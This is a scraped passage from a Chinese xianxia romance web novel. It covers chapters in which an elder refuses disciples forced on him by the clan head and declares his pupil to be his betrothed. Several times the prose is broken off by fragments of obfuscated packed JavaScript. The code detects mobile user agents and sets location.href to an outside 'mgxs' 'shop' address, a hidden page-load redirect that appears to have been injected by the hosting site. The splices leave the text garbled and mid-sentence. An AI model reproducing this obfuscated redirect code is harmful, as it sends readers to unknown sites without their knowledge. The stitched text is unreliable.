l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514133|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两人皆是一颤,呼吸缠上几分说不清的滞涩。 垂眸望去,她额前眉心的淡梅花印微微浮现,随着她的呼吸若隐若现,却有一缕湿发贴在上面,碍眼得很。 他伸手轻轻将那缕湿发挑开,指腹不经意地顺着她的眉骨擦过。 完美了。 少女像是被烫到,抬手将他推开,人也跟着往后急退半步,转身就想逃离,手腕却忽然被他轻轻扣住。 “急急忙忙是要做什么?” 一瞬间,她浑身的知觉仿佛都凝在了被他握住的地方。 他的手掌是热的,很热,隔着薄薄的衣料,暖意直渗进肌肤。 但他很快便放开了她,抬手在她头顶凝出一缕温热灵力,化作柔风轻轻拂过她的发间。 不过瞬间,原本湿漉漉的发丝便变得蓬松柔软。 “湿发久缠身上易染寒气,日后头疼就麻烦了,即便已经筑基,身子也马虎不得。” 她悄悄缓缓吐出一口气,心头却莫名一动。这话,竟和丽娘从前日日在她耳边念叨的差不多。 不等她细想,又听他轻声问道:“你从前也都如此不讲究?” 丽娘在时自然有丽娘讲究,丽娘不在之后,她哪里有心情讲究这些。往常洗完头便任由头发湿漉漉披散着,等它自然风干。赶时间时,甚至湿着头发就随手扎起。 曲存真见她不答话,也不再追问,转头对春霜与云栽道:“过来给她梳头。” 春霜和云栽应了一声,手脚麻利地开始给她梳头。 云栽把她的头发分成两股,绕了两圈,正要挽成双螺髻。 一旁静立的曲存真忽然开口,“梳寒烟垂云髻。” 云栽手上动作一顿,随即会意一笑,重新细细打理。 “还是您眼光好,此髻更衬姑娘今日的装束。” 曲存真转身走到庭院里那株老梅树下,在石桌旁坐下,翻开少女这二十日的课业。 少女坐在廊下,背靠廊柱,春霜和云栽一左一右站在她身后,细细地给她梳头。 曲存真选的发式是什么样子,她并不好奇,倒是好奇他对女子的发髻竟然也有研究。他不是一直在修炼闭关么?还有这爱好和闲暇?丽娘也总喜欢在她头上琢磨各种发式,丽娘要是还活着,能与他说到一处。 日光从廊檐外斜斜地照进来,她安静地坐着,偶尔被梳子碰到头皮,微微眯一下眼,像一只蜷在阳光下打盹的猫。 曲存真坐在梅树下,不徐不疾地翻着纸页。风吹过来,梅枝上的残雪落下,掉在他的肩膀、袖口,又沾在翻开的书页上。 他将书页上的雪拂去,掀起眼皮往廊下看了一眼。 少女闭着眼,任侍女们的手在她头发上来来回回穿梭,唇角不自觉地弯着,不知在想什么好事情。 日光落在她脸颊,衬得肌肤莹润似玉,几近透明,身上月白软纱被风吹起来,贴着廊柱轻轻飘着。 他看了一会儿,收回目光,低下头,继续翻下一页。 少女悄悄睁开眼,往梅树下看。 曲存真眉眼低垂,正缓缓翻看她的课业,碧青广袖如流云垂落,轻轻委于地面。 修长的手指从袖口探出,指尖偶尔点在纸页之上,侧脸线条清隽如画,连周身的风都似放缓了脚步。 她靠在廊柱上,看着看着,眼皮有些沉。 筑基之后不用睡那么多觉了,她却罕见地在白日里有了困意。 春霜和云栽在后面小声说着什么,絮絮嗡嗡,令得她困意加重。 迷迷糊糊,脑中无端冒出个念头。 他真的是个很好看的年轻人。 23. 雕琢 头梳好了。 春霜和云栽退后两步,上下端详几番,都满意地点点头。 果然还是五长老会打扮。 她们悄悄退下去。 庭院里只剩下梅树下的人和廊下的人。 梅树下的人合上纸页,抬眸看向廊下的人。 “这二十日勤勉不辍,不仅悟性好,根基扎得也很稳。” 廊下的人如梦初醒,懵怔一瞬便立刻坐直了身子,双手规规矩矩放在膝上,一副凝神静听的模样。 像课堂上打盹被抓到的小弟子。 曲存真忍不住翘起唇:“读得快,记得也牢。有些地方的见解,甚至比我预想的还要通透。” 她彻底没了困意,嘴角翘了一下又飞快压下去。在修炼上被人这样夸,尤其是他,让她心情愉悦。 曲存真将旧课业推至石桌一角,从旁边另取了几本,指尖轻叩书面。 “筑基之后,修行便与从前不同了。灵气运转、灵脉养护、神识拓展,都有新的法门要学。” 他看着她,“这几本是筑基中期直至大圆满的修习典籍,难度胜过往昔,不过以你如今的根基与悟性,应当不难吃透。” 少女起身走到石桌前,垂眸扫过那些书册。后续课业安排得这般周全,他分明是要重新去闭关了。 “你是不是还要回去闭关?” 昨日他为她强行出关,也不知是否损及自身修为。 曲存真点头,“尚余十日未竟,需回去补足。” 见她垂眼委顿的模样,只当她是在为又要独自修炼不高兴,便道:“只剩十日。十日之后,便依旧如从前那般,手把手教你。”他放轻了嗓音,像小时候丽娘哄她乖乖吃药时的语气。 她不高兴的其实是没能达到他的期望,还将他的计划打乱了。 “我明明一直在按你的嘱咐压制修为,可后面不知为何,气息再也锁不住,竟提前筑基了……我实在想不明白为什么。” 曲存真道:“都过去了,想不明白就不要再想,不必介怀。人的一生,变故总是难免,只要变得足够强大,便能将变故掌控在手心,让一切回到正轨。” 他眸中掠过一丝暗芒,转瞬便消融在清寂的眼底。 这时,门外传来一阵喧哗。 曲清波的声音隔着门扇传进来:“藏舟,你锁门做什么?快开门!” 隔着门都能听出他的不耐烦。 曲存真指尖轻抵着石桌沿,没有要开门的意思,像是没听见。 少女的心却一下子提了起来。 过了须臾,门外的催促声又起,“藏舟!快些开门!” 她下意识起身,转身便要往廊后去。家主这人总爱寻她麻烦,撞见了必定又是十分无趣。 “用不着你走。要走也是他们走。” 曲存真抬起手,指尖凝出一缕灵光,轻轻一弹,院门无声自开。 曲清波大步流星地走进来。 此外还有一行人,但他们只站在门口。曲存真不开口,即便是家主带来的人也不敢擅进玉垒云。 曲清波走得飞快,不过转眼便已走到近前,目光先在庭院里扫了一圈。 有树有花又有雪,好个风花雪月美景良辰,怪不得要锁门! 少女微微屈膝行了一礼,“见过家主。” 曲清波的目光落在她身上,从上到下扫视一遍。 月白的软纱,天水碧的纱裙,看似简单实则复杂精巧的发髻,鬓边垂着两缕细细的发丝,衬得脸庞愈发耐人寻味。 显见是很费了一番心思的妆扮,效果自然也没有辜负她这番用心。 筑基之后,她的气质似乎也与从前大不一样。 从前是楚楚动人的一朵小白花,如今这小白花沾了仙气,清灵灵的,像是刚从月宫里走下来。 想勾引谁不是明摆着么? 他黑着脸默默看向一旁的曲存真,心里炸开一个念头:要命了,这傻缺外甥如何抵挡得住。 曲存真仍旧坐着,目光淡淡地扫过门口那一行人,最后落在曲清波脸上。 “你来做什么?”语气不算客气,甚至带着点“又想出什么幺蛾子”的意味。 曲清波被他这副拒人千里的死人脸噎了一下,可他今天有事要办,不能发作,便堆起一脸笑。 “藏舟啊,你怎么能这么想舅舅?舅舅能有什么幺……坏心思?我是特意来恭喜你的。” 曲存真从鼻腔里冷淡地“嗯”了一声,连眼皮都没多抬一下。 曲清波也不恼,继续笑着说:“藏舟啊,没想到这丫头还真被你教出来了。这才不过短短二十几日,就突破瓶颈筑基了。我本来还以为她灵——” “想让我做什么?”曲存真没让他说完,抬眸看向他的眼神带着明白的警告。 曲清波把“根残缺”三个字咽回去,嘿嘿笑了两声。 “说真的,论教徒弟还得是你。曲家上下,没人比得上你。” 这话倒是有十分真心。 他这几日翻来覆去地想,那丫头从前在景明堂,被夫子们说得一无是处,灵根残缺也是实打实的情况,到了曲存真手里,真就二十来日筑基了。 变废为宝,不服不行。 他从前是不知道他有这本事,如今知道了…… 多些人在周围,总能妨碍他们勾搭。 曲存真薄唇勾起一抹极淡的、带着不屑的弧度,目光越过曲清波看向院门外,两个期期艾艾的身影在门口晃悠,是曲澜和曲澈。 “带他们来做什么?” “什么你们他们,那是你表弟表妹。要不,先让孩子们进来吧,你平日里对他们太过严厉,孩子们心思敏感,都当你是讨厌他们,心里伤心得很,现如今连门都不让进,澜丫头性子软,回去指不定要怎么哭鼻子呢。” 曲存真侧眸看向少女:“把门外的弟子都叫进来。” 她应了一声,放下手里的书册走到院门边,一眼看去,除曲澜曲澈姐弟之外,还有十几个面生的年轻弟子。 “诸位请进。” 众人的目光齐刷刷地落在她身上。 这位应当就是那位十七岁筑基的同门了吧? 这些年轻弟子都是炼气期,平日也都在景明堂进学,但从未注意到有她这么个人。 此刻都不由得眼前一亮,又都觉得很不可思议,有这样出众的人,自己怎么就一点印象都没有呢? 有几个连忙上前一步,对着她拱手行礼:“恭喜师姐成功筑基!” 她是五长老唯一的徒弟,叫师姐总没错的。 她颔首回礼:“多谢诸位师弟师妹,同喜。”侧身让到一旁,让他们进去。 曲澜从她身侧走过时,下巴微扬,目光淡淡一掠便移开,一言不发。 步子沉缓,带着股莫名的较劲意味,擦肩时肩头几乎相碰,她却既不偏让也不停步,径直走了进去。 曲澈朝少女做了个鬼脸,而后连忙追上姐姐。 姐弟俩的敌意,少女感觉到了,她有些奇怪却并不放在心上。 她立在门边,等一行人尽数入内,才走回院中,站到曲存真身后。 曲澜和曲澈快步往石桌旁走去。 刚靠近庭院中央,曲澜的目光便不由自主落在了梅树下的曲存真身上,脚步下意识顿了顿。 他穿了一件碧青圆领襕袍,料子柔软,裁制得十分宽舒,松松垮垮套在瘦挺的身躯上,像一泓碧水笼着山骨。扎了一根佛青色腰带,恰好收住腰线,掐出肩宽背挺、腰肢劲细的轮廓,模样好看得晃眼。 望着他清绝的眉眼,曲澜鼻尖泛起酸意,嘴唇动了动,一声“藏舟哥哥”险些脱口而出。 可她忽然想起上次他冷冷地说“再有下次,领双倍”的样子,连忙硬生生改口,声音带着几分哽咽:“见……见过五长老。” 曲澈也连忙上前一步,规规矩矩拱手行礼,“见过五长老。” 曲清波站在后面看着,暗自窃乐,这两个混世魔王也就在藏舟面前这般老实听话,若今日筹谋真成了,倒是省了他不少心思。 随后,其余的年轻弟子也纷纷上前,恭恭敬敬地向曲存真拱手行礼。 曲存真微微点了下头。 曲清波忽然朝他们递了个眼色,“你们这是做什么?见了五长老,就这点礼数?”他抬了抬手,做了个下压的手势,“跪下,行大礼!” 十几个弟子一个接一个地跪了下去。 曲澜和曲澈也跪下。 少女静静立在曲存真身后,见他身前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516357|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼啦啦跪了一片,愣了一下,随即悄悄往旁边移了几步,侧身避到梅树后面。 曲存真的目光从那些跪着的弟子身上掠过,最后落在曲清波脸上,眉峰微挑,似在质问:你又在搞什么名堂? 曲清波负着手,在梅树下踱了两步,看着地上齐齐跪拜的弟子,眼中满是得意,仿佛看着的不是一群半大的孩子,而是曲家未来的栋梁。 “这些都是我从各房各院精挑细选出来的孩子,个个天赋异禀,若是能精心雕琢,未来必定大有可期!藏舟,待他们长成,我曲家日后还有什么好怕的?就算静霄子那老狗真的半步化神又如何?我们曲家后人厉害,照样能将家族振兴做大!” 他说得慷慨激昂,好几个跪着的弟子都不由挺直了腰板,仿佛自己已经是曲家未来的希望。 曲存真语气冷淡:“你把他们带过来,是想让我雕琢。” “没错,还有澜儿澈儿。”当然,曲澜曲澈天赋一般,只是顺带捎上,也不多费他什么功夫。嫡亲的表弟妹,照顾一些也没什么。 “我不收徒。没有时间。” 曲清波早知道他会推诿,指着树后垂头静立的少女,“你不收徒,那她算什么?” “我什么时候说过,她是我的徒弟?” 少女诧异地抬头,看向曲存真。 不是吗?他教了她这么久,从引灵到筑基,从手札到课业,从早膳到晚膳,不是她的师父,那是什么?是因为她还没向他行过拜师之礼么? 在场的弟子们都以为自己听错了。 曲清波分辩道:“你指导她、教她,为她护法筑基,她自然就是你的徒弟!哪有这么多弯弯绕绕?” 曲存真没有再理他,一副懒得与他争辩的模样,指尖漫不经心地摩挲着书页。那副模样,却又比任何反驳都更让曲清波恼火。 “藏舟,既然都是曲家的弟子,只教她一人未免也太有失公允。你是曲家的五长老,身负家族重任,不可如此率性而为。再说了,教一个是教,教一群也是教,何乐而不为?” “我的课,是什么很廉价量大管饱的东西吗?还是你觉得,我整日太过清闲,闲的没事可做?” “你的课自然是很值钱,无价之宝行了吧?我也知道你忙,曲家里里外外都靠你,我是说,你既然眼下有教徒的心情,何不惠及家门、普度曲家子弟?也算是为家族尽一份力。” “我是没有惠及家门?”曲存真的语气陡然转冷,“还是说,在家主眼里,我曲存真本就是曲家之耻?” 曲清波简直要气死,他最恨曲存真每次道理说不过他就一副无赖上身的样子。 “没人否认你的功劳!藏舟,你胡搅蛮缠就没有意思了!”他转过头,对着地上跪着的弟子们,不容分说地一挥手,“都还呆愣着做甚?还不快叫师尊!以后,五长老便是你们的师尊,好好跟着他修行!” 曲清波说完狠狠一甩袖子,转身往外走。 他偏就把这些孩子留在玉垒云了,今日这些徒弟,他曲存真收也得收,不收也得收!一声师尊叫出口,他要是敢把这些孩子赶出去,看他如何跟其余几位长老交待,以后怎么有脸以长老自居! 少女看向曲存真。 强大如他也免不了身不由己的命运吗?那么,人究竟要强大到何种地步,才能随心所欲不为他人所左右? 弟子们还在面面相觑、犹豫不决,曲澜却率先屈膝叩首,拔高声音喊道:“弟子拜见师尊!” 曲澈不敢迟疑,连忙跟着伏身,脆声附和:“弟子拜见师尊!” 其余弟子如梦初醒,纷纷效仿着伏地叩拜,额头抵着青石板,正要齐声唤出那声“师尊”。 骤然间,一股森冷强横的神识之力自梅树下席卷而出,沉沉压下,死死扼住每一个人的喉咙。 所有到了嘴边的声响瞬间被掐断,弟子们个个瞪大双眼,嘴巴大张着,脸颊憋得泛红,却连一丝气音都发不出来,只能惊恐地僵在原地。 下一刻,曲存真掌心猛地拍向石桌,“砰”的一声闷响,一股雄浑无匹的灵力顺着地面轰然炸开。 那股力量轻柔却带着不容抗拒的力道,径直托住众人的手肘与腰背。 不过瞬息,所有跪伏在地的弟子便被强行扶着站直了身子。 24. 官宣 弟子们被迫站起来之后,个个敛肩收背,惶惶垂首。 完了,好像闯祸了。 有人壮着胆子偷偷抬眼,去觑曲存真的脸色,见他眉眼虽清冷,却并无半分暴怒狰狞,心下先松了半截。 又默默回想方才,不论是阻止他们叫师尊的神识,还是托住他们起身的灵力,力道都拿捏得恰到好处,只制住行动、断了声响,半分不曾伤到自己。 他们这才意识到,五长老的怒意可能似乎并不是冲着他们来的,他只是在跟家主置气。 原本悬着的心顿时落了地,也就不那么怕了。 何况他们平日里修行所学的功法、剑诀,乃至推演阵法的图谱,大半都出自曲存真之手,说起来早已算是受他指点。 能正式拜入他门下自然是天大的造化,拜不了也没什么损失。 反倒他那般清冷严苛的性子,真成了他的弟子,怕是要整日提心吊胆、谨小慎微,未必是件轻松事。 这么一想,方才因被拒而泛起的些许失落也如潮水退去。 大神打架,蝼蚁不遭殃就行。 这般念着,更觉释然,连脊背都悄悄挺直了些。 曲清波将弟子们从惶恐到释然的模样尽收眼底,心下恚怒,怒极转身,走回曲存真面前,扬手一掌狠狠拍向他头顶那株老梅树! “嘭”的一声闷响,震得老梅枝桠剧烈晃动,满树盛放的红梅簌簌纷飞,如红雪骤落,沾了曲存真满头满身,碧青襕袍上落满点点残红,衬得清冷的眉眼多了几分艳色。 少女也被这漫天红梅裹了个正着,一肩一袖、发间眉梢都沾着细碎的梅瓣。 她看着眼前纷飞的花瓣,明白家主这一掌是被逼到无可奈何的无能狂怒。 她方才甚至以为,曲存真终究要妥协的。 毕竟那是家主,他是长老,事到如今早已骑虎难下。 可就在刚才,他又给她上了一课。 她从前以为,随心所欲便是无人敢惹、无人能犯。 直到此刻才骤然明白,真正的随心所欲,是有人敢惹有人偏要硬逼,却谁也奈何他不得。 原来,强大到一定程度,即便身陷逼迫,也能不动声色地立在原地,用实力清清楚楚地让所有人知道,他不愿意的事,谁也勉强不来。 她什么时候才能拥有这种实力呢? 少女的视线穿过洋洋洒洒的花瓣落到曲存真背影上,忽然之间心跳失控,擂鼓般击打着胸膛,一股又慌又烫的悸动漫浮上来。 她慌忙垂下眼睫,盯着地上的落花,再不敢去看那道令人心神不宁的背影。 曲澜僵立着,下唇被自己咬得泛白,一双泛红的眸子,死死盯着被落梅笼罩的曲存真。 就在这时,两道遁光自远处掠来,转瞬便落在玉垒云的院门外。 “这是怎么了?”一道温和中带着几分无奈的女声响起。 曲存真听到声音,立刻起身,对着门外道:“二祖父,三姑祖母,请进。” 然后,一男一女走进院子。 男子是二长老,容貌在五十上下,眉骨高耸,眼窝微陷,一双眼睛沉如古井,不怒自威。他掌管家规戒律、刑罚审讯、族内功过考评与门禁秩序,曲家上下,从旁支子弟到家主嫡系,见了他没有不怵三分的。 他边走边扫视院中,目光掠过满地残红、光秃的老梅、垂首噤声的弟子,最后落在曲存真身上,眉头微微皱起。 女子是三长老,看上去比二长老年轻许多,眉目温和舒展,周身气息沉静如水。她执掌曲家药圃培植、丹材采择与灵植养护,以及疗伤药膳与灵药调配。 三长老身后跟着徐微月。 她随师父一同入内,目光飞快地在人群中寻了一圈,最后不动声色地落在曲存真身上。不过,只停了短短一息便垂下眼睫。 见两位长老到场,弟子们连忙俯身见礼。 少女也从树后走出,垂首规规矩矩行了一礼。她低着头,能感觉到几道目光同时落在自己身上。 三长老缓缓走过弟子们身前。 “我与二哥方才恰好在玉垒云附近,隐约察觉到家主和藏舟的灵力波动,似是……怒气不小。”她稍稍一顿,斟酌着问道,“这是发生何事了?” 曲清波冷哼一声,下颌微扬,目光别向一旁:“你自己问他。” 两位长老便都看向曲存真。 三长老温声对曲存真道:“藏舟,你来说。” 曲存真立在满地残红之上,肩上还沾着几瓣梅花,缓缓抬眸。 “也没什么大事。”他道,“家主大约是见我整日待在玉垒云,既不收徒,也不理事,实在是无所事事、吃闲饭、不务正业了些,看不过眼,又体恤我清闲太过,今日一大早便亲自替我张罗了十几个徒弟送上门来,好让我往后有点正经事做,不至于虚度光阴。” 院子里安静了一瞬。 众弟子:…… 曲清波:…… 抬手指着曲存真,嘴唇翕动两下,愣是一个字没说出来。 二长老的眉头皱得更深了。 三长老微微偏过头去,抬起袖口掩了掩唇角,片刻后方才放下。 众弟子个个低着头,拼命抿着嘴忍笑。夭寿了,在曲家,除了五长老自己,谁敢说五长老吃闲饭哦。 少女悄悄抿紧了嘴角,睫毛轻轻垂着,掩去眼底的笑意。 曲澜眼眶还红着,这一回,委屈里掺了别的滋味。藏舟哥哥只轻飘飘几句反话,就把父亲的一片苦心变成了一个笑话。 曲澈觑了她一眼,又飞快移开目光,不敢多看。 徐微月看向少女。他不是不收徒,只是不想要别人。 二长老斥道:“成何体统!”家主不像家主,长老没有长老的样子。 三长老转向曲清波,温和规劝:“家主,藏舟既不愿收徒,何苦逼他?曲家上上下下,能当师父的人还少么?做什么非要让一个最忙的人来当这些孩子的师父?” 曲清波深吸一口气,又徐徐吐出来,胸口那股翻涌的气总算是捋顺了些。 “姑母有所不知。” “您这些年专心打理药圃,外头的事或许不曾留意。闲远宗如今有多少筑基弟子?五百七十二人。金丹呢?一百十九人。六位元婴,再加一个即将半步化神的老祖,静霄子一人便压得曲家抬不起头来。” 他顿了顿,目光扫过院子里那些垂首的弟子。 “曲家又是个什么状况?筑基弟子不足五百,金丹九十七人,六位元婴,半步化神……没有。” 这些数字报出来,院子里一时连呼吸声都轻了。 “不是我要逼他。”曲清波的声音微微发涩,“是曲家等不起了。闲远宗与曲家几百年积怨,这些年他们步步蚕食,曲家的矿脉被占三处,药圃被抢去两座,去年连南边的灵石矿都丢了。再这么下去,不用他们动手,曲家自己就先撑不住了。” 二长老沉凝点头。 曲清波抬手指向少女,指尖微微发颤。 “他若是当真一个徒弟都不收,我无话可说。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曲清波眼睛一亮,立刻接道:“二叔说得极是。让她回景明堂,跟着大家一起学。曲家待弟子一视同仁,不会亏待她,当然,也没有谁可以越过家规去。”方才那股憋闷总算是找到了出口。 三长老道:“二哥,此事也不必急于一时。”又看向曲清波,“家主一心为曲家谋划,这份苦心我们都明白。只是藏舟的性子你又不是不知道,何不各退一步,从长计议?藏舟,你也退一步?” 曲清波道:“我也不是不能退,这样,这些徒弟我也不要你收了,她么……还回景明堂,我会叮嘱景明堂的各个夫子,特别关注她。” 两位长老齐齐看向曲存真。 “藏舟,你看如何?” 曲存真良久不语,忽然低笑一声,抖了抖衣袖,兀自坐了下来。 目光扫过在场众人,慢声道:“我的确是有私心。” 少女愕然抬眼,却与他的视线相接。不过,他看了她一眼,便又转开目光。 “私下里教她,并非因为收她为徒。她不是我的徒弟,她是我未过门的妻子。” “你们呢?你们也是我未过门的妻子吗?”话是对着弟子们说的,眼睛却不无讽刺地看着曲清波。 唇边那点笑意还在。 “忙里偷闲,闭门教妻,有什么问题?怎么,这点私心家规也不许吗?此事,二长老在家中未曾做过?家主对舅母没有做过?” 几句话如同连声惊雷炸响在玉垒云,庭院之中一片死寂。